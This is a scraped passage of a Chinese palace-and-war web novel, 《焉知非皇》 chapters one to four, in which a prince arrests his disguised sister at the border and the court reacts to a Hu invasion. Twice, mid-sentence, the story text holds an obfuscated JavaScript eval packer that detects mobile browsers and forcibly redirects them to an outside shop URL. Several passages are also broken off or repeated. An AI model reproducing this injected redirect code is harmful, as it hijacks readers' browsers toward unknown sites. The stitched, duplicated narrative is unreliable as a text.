《焉知非皇》 1. 回京(一)敌军进犯 “大江边防重地,何人擅闯?给我拿下。” 大江朝的七皇子刘昶,依例带队巡查边境,瞥见久不见人烟的永河上竟飘着一叶扁舟,不由得警觉起来。 永济城这边除了驻扎的军队,鲜少会有人出现,自刘昶驻军以来,便没见过有人会横渡永河。 思来想去,只怕是个细作。 一声令下,操纵这扁舟的人被五花大绑地抓来,丢在刘昶面前。 “放开我!放开我!你们知道我是谁吗?”架船之人张牙舞爪地叫嚷着:“你们敢动我,我让你们人头落地!” “呵,人头落地?”刘昶同身旁的副将对视一眼,冷哼一声:“好大的口气啊!” 刘昶骑在马上,居高临下地打量着面前的细作。 并不是胡人那般粗犷的长相。 她梳着江朝样式的发髻,应该是个江朝人。 两条精心描摹的细眉,虽说脸上沾染了些许尘土,但难掩清丽,能看得出皮肤白净细腻,不像是久待边境之人,倒像是养尊处优的。 可身为大江子民却成了胡人的细作,做出这种通敌卖国的勾当,更为可恶。 想到这儿,刘昶的手已经按到刀把上,面露凶光,例行章程问询道:“你是做什么的,为何至此?” 刘昶时刻紧盯着女子的动作,待她话一落地,人头也该落地了。 那女子昂着脑袋环视一周,眼里满是轻蔑,趾高气昂道:“吾乃当今天子第五女刘宁,尔等岂敢动我。” 说罢,刘宁抬眼看向正骑在马上的将领,眼眸微眯,冷哼一声。 哼,好没眼色的东西!待她亮出父皇御赐的牌证明自己的身份后,定要让自己的七弟好好教训他。 刘宁如是想着,眼中更是平添了几分傲慢。 刘昶听得这女子如此说,一个挑眉,不觉有几分好笑,勒着缰绳,绕着女子转了一圈又一圈,细细打量着。 真是胆大,竟还敢冒用他五姐的名头! 不过这副娇蛮任性的模样,倒还真有几分像他那五姐。 刘昶对上女子的眼睛。别说,还真别说,这女子眉眼之间还真像他五姐。 早在前一个月便听说五姐刘宁和六哥刘昶要北上游历,父皇还特意密信一封,要保护好他们俩。 不过,他们要是来的话又怎么会不招呼自己一声呢? 刘昶心中疑惑,忽又瞥见这女子手腕漏出的夜明珠手串,不由得“嘶”得一声,倒吸口凉气。 那夜明珠手串,是他上战场后打赢的第一场仗缴获来的,满大江都找不出第二条来,因成色极佳极难得,便献给了自己的母妃容嫔。 后贵妃过寿,母妃又与贵妃交好,便将这手串送与贵妃贺寿。 贵妃是四皇子刘茂和五皇女刘宁的生母,想来这手串出现在五皇女身上也不意外。 这么一想,面前这人就是他的五姐刘宁了。 凭着手串,刘昶断定眼前这女子就是他的五姐刘宁。 刘昶不免轻叹一声,离宫不过三五年,竟差点没认出来五姐。若是被五姐知道,少不了又要挨一顿暴捶。 不过五姐也没认出来他,也算扯平了,刘昶窃喜。 刘宁见这将领时而冷笑、时而疑惑、时而不屑,如今又在偷笑,不免心里发毛,平添不少担忧。 刘昶想到刘宁平时娇蛮霸道,如今看到她这副落魄样子,不禁觉得有些好笑,便想着逗逗他这位五姐。 “你怎么证明你是五皇女呢?” 刘昶跳下马,走到刘宁面前,负着手,故作夸张道:“我可是听说,这位五皇女射艺了得,可是一等一的高手。” 旋即,刘昶俯下身,凑到刘宁耳旁,抬手指向远处的一棵枯树,嘴角压不住地上扬:“八十步外有棵枯树,你瞧,那树上有片叶子飘飘欲落,你若能射中那片叶子,我便信你。”说罢,刘昶直起身,戏谑地看向刘宁。 刘宁眼睛微眯,看向远处的枯树,不由得轻蔑一笑道:“这有何难?拿弓来。” 区区八十步而已,对她来说轻而易举。 刘昶无视副将的阻拦,当即一挥手,命人呈上军中所用的弩箭。 刘宁抖了下肩膀,见还没人给她松绑,不满道:“松绑啊,不松绑我怎么用?” 刘昶无奈笑笑,亲自为刘宁解开绳子。 刘宁瞪了刘昶一眼,接过弓弩,顺势掂量着手中的弓弩,心中不免泛起嘀咕,她一贯用的弓,从未没练过弩,或会射不准,倘若射不准…… 刘宁“啧”一声,为自己而担忧。 嘁,何必与这人过多纠缠,直接亮出御赐令牌,看谁敢不从!想罢,刘宁余光瞥了眼周边的将士,伸手便往怀中掏去。 刘昶旁边的副将瞧见刘宁的动作,担心会对刘昶不利,不待刘昶反应,便飞快抽出佩刀,横在刘宁脖子上:“别想耍花招。” 刀身反的亮光晃了刘宁一眼,刘宁手中动作一顿,只觉脖颈处一片凉意,后背不知何时起冒出一层冷汗。 她只是想拿出令牌,没有花招! 她才刚过二十,父皇还没给她封爵,她还未开府呢!她可不想命丧于此。 刘昶见情形,眼睛瞪得浑圆,也吓出了一身冷汗,忙呵斥副将放下刀,并命其余将士后退至十步外。 刘宁一边用余光偷偷瞄着刘昶的神色,一边暗暗咬紧牙关,装上箭矢,可嘴上仍不输气势,不露怯道:“小将,你可看好了。” 刘昶就站在离刘宁三步外,见刘宁并未张紧弓弦,脸上憋着笑,等着看刘宁的笑话。 “嗖!” 这一箭扎在刘昶脚边。 糟了! 刘宁瞬间呆愣在原地,不知所措地看向刘昶。她万万没想到,弩竟这么难以控制。 刘昶也被这一箭吓了一跳,跳着后撤一步。 不过幸而他五姐不熟悉弩,并未张紧弓弦,射出的这一箭毫无力道,不然……只怕他今日就要丧命于他五姐的弩箭之下了。 刘昶嘴角控制不住地抽搐,克制住刀柄上蠢蠢欲动的手,平复好心情,出言调侃道:“这箭术……啧啧,实在不敢恭维。” “莫非你不是五皇女?还是五皇女的箭法只是浪的虚名?” “你!”刘宁气急,甩手将弓弩摔在地上,直指刘昶的鼻尖。 这还是第一次有人敢质疑她的箭术! 她的箭术,可是连天下第一人薛与归,的亲传弟子——刘茂也夸赞不已,何时轮得着旁人来指点! 刘宁顿时也顾不得那么多了,当即从怀中掏出承道帝御赐令牌,一声怒喝:“放肆!” “五皇女岂容尔等置喙!” “看清楚了,陛下御赐令牌,见此令牌如陛下亲临!吾乃当今天子第五女刘宁,尔等还不速速跪下。” 众人见到令牌,一片哗然,纷纷下马,忙看向带头的七皇子刘昶。 刘昶见状,收起脸上的笑,率先跪下,向刘宁行礼。余下众人见状也纷纷向刘宁跪下行礼。 “都起来吧。”刘宁抬手一挥,得意洋洋。 刘宁收起令牌,略带得意地负手走向刘昶,皮笑肉不笑地问道:“不知这位将军姓甚名谁?” 刘宁冷眼瞧着,只待问清了这人姓名,定要在父皇面前狠狠参他一笔。 刘昶丝毫不惧,拱手介绍自己:“殿下,微臣姓江,因在家中兄弟姐妹中排行第八,大家都唤我江八郎。” “原来是江八郎啊,好一个江八郎!”刘宁阴阳怪气,上下仔细打量着这个江八郎。 真是好一个江八郎,竟敢这般为难自己,若不是自己还有正事要办,非得让他现在就吃点苦头不可。 刘宁吵着闹着非要跟着六皇子刘赞北上,并非为了贪玩。 一来是奉母妃张贵妃之命,见一见自己那在敌国做质子的龙凤胎哥哥,刘茂。 二来,是受与母妃交好的容嫔所托,为驻军永济城的七弟刘昶带来一封家书。 她原本想着见过刘茂之后,再将信交给刘昶,没想到在回来途中,被这个江八郎给当成细作给抓了。 刘宁恨恨瞪了眼江八郎,当即放下姿态,向江八郎打听起自己的七弟:“你可知,七皇子现在在何处?” 刘昶恭敬道:“这……七殿下是臣的上司,臣无权过问上司的行踪。” 眼见着刘宁即将发飙,刘昶忙道:“若依惯例,七殿下这会儿应该还在边境巡查。五殿下有什么话,不妨让臣带给七殿下。”。 刘宁才张开嘴,就见副将神色慌张,小跑着来报: “将军——” 副将看了眼刘昶身边站着的这个女子,将嘴边儿的话咽了下去。 “无妨,在五殿下面前,无需遮掩。”刘昶示意副将继续往下说,“有什么消息直说就是。” 副将道:“将军,前方斥候来报,侦察到胡人已集结大批人马,正在朝着永州的方向逼近。” 闻言,刘昶脸色一变:“离永州还有多远?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274198|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副将忧心忡忡:“如今胡人距永州还有不到二百里,离我们永济城也是不到二百里。” 刘昶心中合计,大为震惊:“什么?那岂不是明日就会赶到边境?” “这么重要的消息怎么现在才报?” 副将忙解释道:“将军,敌军行军缓慢,日行仅四十里,夜间便就地安营扎寨,难免一时失察。” 刘昶思忖片刻,若胡人按现在的速度行军,少说也要四五日才能到永州。 行军速度这么慢,夜间还就地安营,十分反常,可不是胡人的作风。 刘昶察觉到异样,狐疑道:“胡人善骑兵,骑兵日行何止四十里?” 刘宁见状问道:“那骑兵一般日行多少?” 副将转向刘宁,解释道:“一般来说,昼夜行一百二十里,若有急行兵,则昼夜兼行一百七十里。” “根据以往的经验,胡人一般都会率两队轻骑兵,一队骚扰永州诚和一队骚扰永济诚,抢完就跑,快打快撤,从不会像现在这般。” 副将又道:“如今胡人大军在距我们不到二百里的地方,虽说看着是奔着永州去的,但保不齐半路会改道,奔着永济城来。” 刘昶明白副将的担忧。 永州地大物博,物产丰富,人口众多,军队装备精良,且驻军人数是永济城的两倍不止。 前几日永州还从永济城借调了三千骑兵去永州,倘若敌军来犯,永州勉强还能撑个几日等援军赶到。 可永济城不一样,城小,物资贫瘠,驻军人数也少,城中供应全靠附近的永州。 虽说永济城在永河的上游,地势上易守难攻,必要时可切断永河,扼住敌军命脉,可城防远不及永州,况且又被抽调了三千精骑,守个两三日都成问题。 若敌军途中改道永济城,他们将无力抵挡。 想到这儿,刘昶不由得担心起刘宁的安危,忙道:“殿下,如今边境危险,随时会有敌军进犯,实非安全之地,容臣先护送殿下离开这里。” “江八郎,无需担心本宫。”刘宁知道事态严重,也明白这江八郎作为军中将领,自然是要留在边境布防的,断然不能因为自己而耽误了边境的行军布阵,便出言制止了江八郎。 “边防要紧,你就留在此处。本宫自行回去便是。” 刘宁思来想去,眼下还是先回城与六弟刘赞回合,共同商议回京。 刘昶还是不放心刘宁,怕路上不太平,便牵过来自己的战马,轻轻拍了拍,对着战马轻声耳语几句,随即将手中的缰绳递给刘宁:“殿下,这马跟随臣征战数年,知道来去的路,便让它送您回去吧。” 刘宁并不推辞,接过缰绳,方才受的气已消了大半。 虽说这江八郎办事死板,但做事也算靠谱,是个良将,她也不欲再继续计较,再计较反倒显得她小气了。 “多谢将军。” 刘宁翻身上马,手里攥着缰绳,回头笑着道:“原本想来探望我七弟的,不想没看到他,还闹了这么个乌龙。是我有错在先,未能及时亮明身份惹得将军误会。” “待我回京禀明了父皇,送你八百担粮草,就全当是赔罪了。这是本宫的心意,你可不许推辞。” 刘昶和副将相视一笑,生怕刘宁反悔,拱手谢道:“多谢五殿下体恤。” “不必多礼,眼下我还有一件事要劳烦将军。”刘宁从怀中掏出一封信件。 刘昶看向副将,副将高抬双手,恭敬接过。 刘宁道:“我受宫里容娘娘所托,为我七弟送封家书,不曾想事发突然匆匆回宫,未曾见到我七弟,不能亲手将信交给他。还望将军代为送达。” 刘昶接过信件,放好后道:“遵命。殿下放心,臣定当不负殿下所托。” 刘宁爽朗大笑数声,“那我就在京师等着你们大捷的好消息!”说罢,便策马离去。 待扬起的尘土落下,刘昶取出那封信,撕开封条。 信很短,仅有两三行,一眼便看完了。 刘昶面色铁青,他身为边防将领,还是今日斥候来报,这才知道胡人大军的行踪。 可母妃她身在后宫,远在千里外的京师,又如何提前得知胡人会进犯我大江?还让五姐带信过来? 难道母妃还能未卜先知? 还是京师有人通敌叛国,做了这卖国求荣的勾当? 是贵妃?还是皇后?抑或是……母妃? 刘昶慢慢攥紧手中的信,捏成一团。 2. 回京(二)百里加急 五皇女刘宁赶到客栈,拍了拍江八郎的战马,这一路跑下来,想必马儿饿了,随即将缰绳递给客栈小二,对小二说道:“给我喂上好的草料。” 客栈小二看着眼前这匹马,身披铠甲,膘肥体壮,毛发光亮,不由得惊叹一声,好一匹漂亮的马。再仔细一瞧,这马看着倒像是战马,想必眼前这人来头不小吧。 客栈小二忙谄媚道:“客官您放心。小的定会把这匹马喂得饱饱的。” 刘宁见客栈小二说话识趣,随手给他甩了几粒金瓜子。刘宁这几日随着六皇子刘赞一同游历,一路上也是学了不少的处世规矩,若要别人安心给你办事,一味的权势威压是不行的,得把银钱赏下去,有利可图,事情才能成。 客栈小二捧着手里的金豆子,激动地朝着刘宁道谢:“多谢客官!多谢客官!多谢客官!” 刘宁笑笑,随即上楼去找六皇子刘赞。到楼上后,看到刘赞正在打包行李了,忙问道:“我们这是要回京了吗?” 这出京才几日啊,她还没玩儿够呢。听说边境有很多从胡人那里流出的各色宝石,那可是现下京中最流行的,她都还没见到呢,回京后可怎么向她的小姐妹们炫耀啊。 “不如再多留几日吧。” “我现在先把行李收拾好,等明日去趟永州后,再回京也不迟。”刘赞听到刘宁的声音,头也不抬地问道:“你的事儿怎么样了?” 刘宁叹了口气,自顾自坐下,给自己倒了杯茶,咕咚咕咚猛灌了几口后,说道:“别提了,我还想让七弟带我去见哥哥呢,没想到连七弟的面都没见上,倒碰到个驻边将领,叫什么江八郎,他以为我是细作将我捆了去,好险!差点就要命丧于他刀下了。” 刘赞听到此处,慌忙停下手中的动作,放下在打包的行李,脚步急促来到刘宁面前,着急道:“你回来怎么不早说?你没伤着吧?” 刘赞仔细地检查着刘宁有没有受伤,嘴里不住碎碎念道:“要是你掉了一根头发丝,别说父皇和贵妃娘娘会揍我,就连大姐姐和大哥哥,也绝不会轻饶了我的。” 刘赞翻来覆去检查了一遍又一遍过后,并未发现刘宁身上有什么伤口,这才松了口气:“还好没事。要不然我屁股不得开花啊!” 五皇女刘宁是当朝宠妃张贵妃的女儿,当年张贵妃在承道帝登基初,生了对龙凤胎——四皇子刘茂和五皇女刘宁,二人降生时,天空异象,伴有七彩祥云,那可是难得一见的祥瑞之兆,因此刘茂和刘宁备受承道帝喜爱。 后刘茂被送去大胡做质子,张贵妃只剩下这么一个女儿刘宁,对刘宁更是百般疼爱。承道帝常觉对贵妃及刘茂多有亏欠,因此将亏欠都弥补至刘宁身上,故而对刘宁很是宠爱,除了大姐姐与大哥哥以外,他们这些皇子的宠爱加在一起,都不及刘宁一人得到的宠爱多。 刘宁在听说刘赞要去西北边境,就整日缠着刘赞,缠着承道帝,非要跟着刘赞一同去游玩。 得到承道帝应允后,刘赞便带着刘宁一起出京师游历玩耍,原本在行至宿城时,刘赞就安排了人马护送刘宁回京。可刘宁听说他要来西北边境的永州采办,就混在车队里一起跟了过来。等刘赞发现时已经晚了,只得不甚情愿地带着刘宁来到永州。 他这五姐是父皇的心尖尖,倘若五姐有半点差池,父皇不得把他打得屁股开花啊!幸而五姐没事,真是想想就后怕。 刘赞不由得心中嘀咕,这江八郎,也太不懂官场的人情世故了,还敢对皇女不敬,因而问道:“你说那带兵的叫什么,江八郎是吗?回去我就告诉英王兄和太子殿下,让他们狠狠地责罚他。” “别呀,他也算是尽忠职守,人也不算太坏吧,况且他还派他的马把我送回来呢。”刘宁忙拦着刘赞,讪讪笑道:“说到底,还是我的不对。现在我们与大胡边境局势如此严峻,他没把他没把我一刀砍了,我已是大恩大德地感谢他了。” 而后刘宁洒脱地说道:“为了感谢他的手下留情,我准备让父皇给他送八百担粮草,让他手下的士兵吃好喝好,好给我们大江打胜仗。” “什么?你——”刘赞听后气不打一出来,压低声音道:“国库如今空虚,你拿什么给他?” 刘宁不解,小声嘟囔道:“就算国库再怎么空虚,八百担的粮草总能拿出来的吧。” 刘赞上下打量一下刘宁,低声问道:“你一年的俸禄都不够这八百担的粮草。” 刘宁有些心虚,八百担粮草这么多吗?她原本想送五百担来着,但又觉得五百担显得有些小气了,于是就给了八百担。不过,面前就有一个金库,何须发愁呢?刘宁眼珠一转,主意打到了刘赞身上。 “那不还有你呢吗。”刘宁撒娇地抱起刘赞的胳膊,谄媚地笑道:“好六弟,咱俩这关系,难道还没这八百担的粮草重啊?你至少给我出一半吧,你看怎么样?到时候我在父皇面前好好夸夸你,再让父皇多赏赐你写古玩珍宝,你的损失不就捞回来了吗?” 刘赞恨铁不成钢道:“你是不当家不知这柴米贵,八百担的粮草,你以为只是粮食和草料啊,那除了粮食和草料还有士兵的装备甲胄。粮食和草料这些是小头儿,大头儿是士兵们的甲胄。” 刘赞向刘宁解释道:“况且在押送粮草的途中,路过的城池郡县,那是层层卡要。除去路上的正常损耗,再除去这层层的卡要,实际到士兵们手上只有约莫四成。” 刘宁听到这些银钱算计就听得头疼,不满地小声嘟囔道:“区区八百担,你指头缝里漏出来点不就行了吗?还跟我斤斤计较啊。” 真是对牛弹琴,刘赞气得翻了个白眼,摇着头不再理会刘宁。 刘宁捏着刘赞的把柄,笑着威胁道:“你要是不同意,我就把你做的买卖都告诉父皇。” “你是会算账的,自然知道哪样儿更划算。” 刘赞心里咯噔一下,横算竖算,到底是这八百担的粮草便宜,只得无奈答应了,还不忘白刘宁一眼:“算了算了,我给你出就是了。还望五姐心里记得我这个弟弟的好,日后在父皇面前多多为我美言几句。” 刘宁得意地扬起下巴道:“这还差不多嘛!” 刘赞收拾好行李,笑道:“不跟你计较这个了,来永州这几天,还没带你好好玩儿呢,走,我带你去吃好吃的。” 刘宁眼巴巴地凑上来:“还要去逛街买首饰!” “好!” 刘宁立马雀跃地跟上刘赞的步伐。 二人刚打开房门,就见客栈小二着急忙慌地朝着他们跑了过来,客栈小二气喘吁吁地说道:“客官不好了,刚刚你的马吃饱了之后就挣脱了缰绳,跑啦!” 刘赞不解地问了一声:“什么?” 刘宁也有些惊讶,不过想到江八郎曾说过他的马识路,于是问道:“朝哪里去了,你可看清了?” 客栈小二回道:“我看是朝着永济城的方向去了。” “哦,你不用管了,随它去吧,你也忙你的去吧。”刘宁听后松了口气,这江八郎的马还挺有灵气的,还知道回去。 “好。”客栈小二挠着头就走了,那匹马看着 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待刘赞和刘宁二人坐上了马车,刘赞才稍稍安心,思索着刘宁提到的江八郎,心中有些疑惑。 永州驻防将领是晋国公世子蔡桐,永州驻防官是路远,永济城的守城将领是七皇子,没听说过他们手底下有姓江的年轻将领啊。 这个江八郎说他在家中兄弟姐妹中排行第八,排行第八…… 刘赞一下子就琢磨出味来了,这不就是七皇子刘昶吗? 大皇女永安公主不在皇子排序之中,皇子排序是从大皇子英王排起的,其次是二皇子、太子、四皇子,因皇帝宠爱五皇女,故而五皇女和皇子们是一起排序,其余诸位皇子就是六皇子也就是自己,余下还有七皇子、八皇子两个。 这么算下来,七弟刘昶确实是在姊妹们之中排行第八。 想到这,刘赞看向旁边小憩的刘宁,想到她刚刚狠狠地敲诈了自己一笔钱,于是计上心头,准备好好逗逗她:“五姐——” 话还没说完,马车剧烈地颠了一下,刘赞和刘宁被猛地甩到了车壁上。 “哎哟!”刘宁捂着撞疼的额头连连叫道。 刘赞见状大怒,掀起车帘,对着车夫劈头盖脸地骂道:“狗奴才,怎么驾的车?眼睛长到天上去了?也不知道看着点路。” 驾车的马夫战战兢兢地回道:“二位殿下受惊了。刚刚是边关的六百里加急,所有车马均要避让,小的也是没有办法。” “六百里加急?”刘赞听后走下马车,望着远去的六百里加急扬起的飞尘,陷入沉思,暗叫一声:“不好!” 刘赞心中不妙,若是胡人进犯,边境这一仗少不了,此时英王和太子正是用钱的时候,自己作为他们的钱袋子,这会却不在京都,只怕他们会有所顾忌。 刘赞心中算了下时日,即便是命马夫快马加鞭,最快也得两三天后到京了。 马夫面露难色,为难道:“二位殿下,马车即便再快,那也是有限度的,马儿也是要休息的。” 刘赞命令道:“除了换马,其余时间日夜不停地赶路,即便是这把两匹马都跑死了,也不能停!” 说罢,刘赞从怀中抓了一小把金瓜子给马夫,恩威并施道:“给本宫办事,少不了你的好处。可如若办不好,你这一个脑袋可不够用啊。快驾车吧。” 刘宁听到六百里加急,也探出头来,望着地上的马蹄印迹,忧心地问道:“六百里加急?是永州!” 3. 回京(三)边关急报 “殿下!” “六百里加急!边关急报!” 东宫宫人听到六百里加急,不敢多耽搁,忙飞奔着去禀告太子。 送急报的士兵骑马飞奔到东宫,不待马停稳,就急急地从马上跳下来,重重地摔在地上,也顾不上疼痛,站起来就飞奔进了东宫。 “殿下,永州边境发出的六百里加急!请殿下速览。”将士高举着递上奏折。 太子刘牧大步向前,接过折子,匆匆看过后,脸色凝重道:“大胡聚集五万人马,现已距永州边境不足二百里。” 太子当即就放下折子,走至地图前,先后用朱笔圈出永州,画出大胡的行军路线,盯着地图想着对策,一言不发。 英王刘元和永安公主刘安对视一眼,眼中充满疑惑,这么重大的军情怎么现在才报上来? 刘安放下手中的画笔,起身去拿起折子,只见折子上写着: 臣永州边防官路远谨奏: 近日大胡聚集五万人马,已行进至距永州边境不足百里处。 永州边防将领蔡桐,有勇有谋,率两队精骑孤军深入,意图一举击溃敌军。然则地势险峻,天象异变,忽起一阵妖风,遮挡了前路,蔡世子因此不慎迷路,被敌军所围困,陷入孤立无援之地。 兹事体大,臣路远,特请朝廷派兵支援。 刘安看罢,抬头瞥了眼太子,见太子仍在看着地图思考对策,随后走向英王刘元,将折子递给刘元看。蔡桐与太子关系匪浅,不知太子要怎么应对。 刘元接过折子,快速扫过后,面上漏出不屑嘲讽的笑意,冷哼一声。 这蔡桐,仗着晋国公是皇后的兄长、太子的舅舅,仗着自己是晋国公世子,为人狂妄自大,组建了两队精骑突袭大胡,被大胡活捉了。 真是可笑可笑! 刘元放下折子,走到太子身边说道:“大胡暗中挑衅也不是一次两次了,正时因为往年的处处退让,才让大胡有了这么大野心。这次,我们绝不能再退了!” 大江与大胡积怨已久,更何况日后太子登基蔡桐就是太子的左膀右臂。看来这一仗是非打不可了。 太子此时只恨不得打蔡桐五十大板,如此贪功冒进,险些要坏了自己的大事,不由得恨恨道:“蔡桐也真是没用,我若是像他这样做了敌军阶下囚,早就以死谢罪了。他还有和颜面苟活于世?” 太子嘴上虽这么说,但还是在想办法去营救蔡桐。晋国公是他登基后的一大助力,蔡桐必须得救。 虽然自太子监国以来,奉行休养生息之策,但如今大胡都快打到脸上了,绝不可能再一味退让。 刘元指着永河上游的城池永济,说道:“七弟带领着一万士兵驻扎在永济,可先让七弟带五千骑兵前去救出蔡桐,救出后就撤回永州,与永州境内军队相互配合防守。之后——” 刘元身子孱弱,近些天协助太子监国已多有劳累,因此多说了这么几句就止不住的咳嗽起来。 刘安见状忙上前轻拍着刘元后背给他顺气,但暗中偷偷多用了些些力。亏他还是诸皇子的大哥哥呢,竟一点也不顾念骨肉亲情,让七弟去做这么危险的事。 太子顺着刘元的话继续说道:“再让晋国公率十万大军,随时支援永州和永济城,随时做好应战的准备。” 太子紧紧盯着地图上的永河,永河源头在大江的栾南,横穿永济城,蜿蜒流向大胡,心中顿时有了一个计策:“随时做好切断永河的准备。如今初春,正是牧草生长的季节,断了永河,牧草没有水源滋养,看他们这些游牧人还怎么嚣张。” 刘元听后笑着赞扬道:“太子的谋划很是妥当。” “那是大哥哥您教得好。”太子谦虚笑道,“我觉得大哥哥教我的,比王太傅教的还要好,王太傅只会给我讲一些书上的大道理,我常觉得无所适从。” 刘元笑着推让道:“太傅大人传授的是治国之策,为君之本。我教的这些不过是些经验之谈罢了,太子日后定会青出于蓝而胜于蓝的。” 刘元见太阳西沉,天色渐暗,于是冲刘安使了个眼色,随后向太子道别:“天色也不早了,余下事的太子自己决断就是,那我和大姐姐就先回宫了。” 太子笑道:“大哥哥大姐姐慢走。” 待二人出了东宫,刘安便向刘元抱怨道:“七弟不过才十六,刚束发的年纪,你就提议让他做这般凶险之事,还深入敌军!亏你还是大哥哥呢。” 刘安想到这儿,越想越气,旋即转身戳着英王的脑袋,咬牙切齿地低声说道:“那蔡桐在永州边境待了八九年,如今还陷入风沙了之中迷了路,七弟才去了永济不过两年,你怎可让他去犯险?” 刘元见刘安甩开他自顾自往前走,知道大姐姐在生自己的气,忙快步小跑着跟上,笑着解释道:“大姐姐你先消消气,我这也是为了弟弟们着想。” 刘元见刘安放慢了脚步,知道大姐姐还是能听进去他的话,而后环顾四周,凑到永安耳边小声说道:“这里人多眼杂,我们先去拜见父皇,待见过父皇后,我再与你细细说明缘由。” 刘安看着刘元,气极反笑,道:“好啊,我倒要看看,待会你能说出什么花儿来。”。 刘安说罢便甩手就朝着承道帝的福宁殿走去,刘元见状赶忙跟上。 永安公主刘安和英王刘元,是承道帝刘适登基前做信王时,陈妃和祁妃生下的两个孩子,由承道帝亲自教导,故二人与承道帝的感情很是亲厚。 刘安和刘元虽已封了爵位,在宫外建了府邸,但承道帝疼爱,让他们仍住在宫中,以便随时相见。 英王刘元住的东华宫,原是历朝太子所居的东宫,因承道帝宠爱,让英王住在此处,更名为东华宫,另在皇宫外给太子建造了东宫,一应建筑均按皇宫的形制建造。 永安公主刘安所居的福康宫,和承道帝的福宁殿离得很近,仅隔了一道宫门。 刘安和刘元来到福宁殿,向承道帝行礼道:“儿臣参见父皇。”。 承道帝见二人到来,放下了手中的笔,伸手免了二人的礼,笑道:“快起来吧。你们是刚从从太子那里过来的吧。”。 “是。” 刘安上前几步至承道帝身边,端起茶水侍奉在承道帝身旁。 承道帝接过茶盏,喝了一口茶,询问起太子:“那封六百里加急,太子处理得怎么样?” 英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274200|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王面上带笑,上前几步至承道帝面前,夸赞太子道:“太子处理得很好,一应事务面面俱到。有太子监国,父皇尽可放心。” 承道帝轻拍着英王肩膀,很是欣慰道:“你们两个是我亲自教导。有你们和王太傅一起带着太子处理政事,朕很放心。” 承道帝站起身,对吴善辅道:“行了,传膳吧。” 刘安和刘元走至承道帝身旁,一左一右陪伴着承道帝一起用膳。 待他们三人坐定后,承道帝指着刘元面前的肉,对着永安慈祥地笑道,“我想着你晚上要来陪朕用膳,下午就让御膳房把肉煨上了,酥烂入味,我吃着比从前的还要好吃些,你快尝尝。”说着,指挥着近侍把刘元面前的那碟肉端到了刘安面前。 刘元见状,把筷子一放,佯装生气道:“父皇,儿臣还一口没吃上呢,父皇就都给了大姐姐,真是偏心。” 承道帝也佯装生气道:“不就是一碟子肉嘛,分你一半分你一半。” 旋即承道帝亲自端起碟子,将其中的肉拨了一半到刘元碗中,分完便忍不住笑道:“快吃吧快吃吧,等小五小六那两个调皮的回来了,你只怕连一块也吃不上了。”承道帝想起从前他们在信王府时,一妻一妾并一双儿女,一家五口吃饭时也这么又说有笑的,不禁感叹道:“还有两三年就而立之年了,怎么还跟个小孩子一样争肉吃呢。” 刘元笑着耍宝回应道:“儿臣即便是不惑之年,那在父皇面前,也依旧是个孩子。” 承道帝和刘安被刘元这话逗得忍俊不禁,均捧腹哈哈大笑,福宁殿内一片其乐融融的景象。 二皇子刘仲得知永州的急报传到了京中,特意趁着承道帝用晚膳的时候,赶来见承道帝,并还提了些宫外的时兴小菜儿。 刘仲在殿外听到福宁殿内传来的笑声,想着父皇最爱这种父慈子孝、兄友弟恭的画面,想来是不会不见自己的,于是对着守在殿门外的小太监说:“还望内官通传一声,我有要事要与父皇相商。” 小太监抬头,见面前的人是二皇子,因自己自幼与二皇子相识,不由得眼睛亮晶晶地冲着二皇子刘仲笑。 刘仲看到眼前的小太监的脸,也认出了他,喜出望外道:“是你啊?你现在调到福宁殿啦?” 小太监板儿笑点头确认,随即说道:“二殿下放心,我先去进去告诉我师父一声。” 这小太监板儿,原是御膳房的小太监,后因聪明伶俐,认了福宁殿大总管吴善辅做师父,这才被吴善辅调到了福宁殿,在殿外伺候陛下。 在内殿侍奉的吴善辅见板儿鬼鬼祟祟地探着脑袋往殿内张望,脸瞬间冷了下来,冷眼瞪了过去,幸而陛下没注意到板儿,吴善辅悬着的心这才放下了。 待吴善辅找到时机走出内殿后,找到了板儿,揪着板儿压低了声音骂道:“糊涂东西,殿内也是你能随便进的吗?” 板儿躲闪几下,道:“师父,二皇子要见陛下,在殿外候着呢,我想着先去找师父说一声。” 吴善辅冷哼一声,旋即拦住二皇子刘仲,皮笑肉不笑地拒绝道:“二殿下,陛下正在用晚膳,除了永安公主和英王两位殿下,谁也不见。还望二殿下请回吧。” 4. 回京(四)旧友重逢 在内殿侍奉承道帝的吴善辅无意瞥见了板儿,见他正鬼鬼祟祟地探着脑袋往殿内张望,脸瞬间冷了下来,朝着板儿冷眼瞪了过去。 幸而陛下在与永安公主和英王谈笑,并未注意到板儿,吴善辅这才将悬着的心放下。 待吴善辅找到时机走出内殿后,找到了板儿,揪着板儿压低了声音骂道:“糊涂东西,内殿也是你能随便进的吗?” 板儿躲闪几下,道:“师父,二皇子要见陛下,正在殿外候着呢,我想着先去找师父说一声。” 吴善辅冷哼一声,旋即拦住二皇子刘仲,皮笑肉不笑地拒绝道:“二殿下,陛下正在用晚膳,除了永安公主和英王两位殿下,谁也不见。还望二殿下请回吧。” 狗眼看人低的东西,刘仲心中暗暗记了吴善辅一笔。 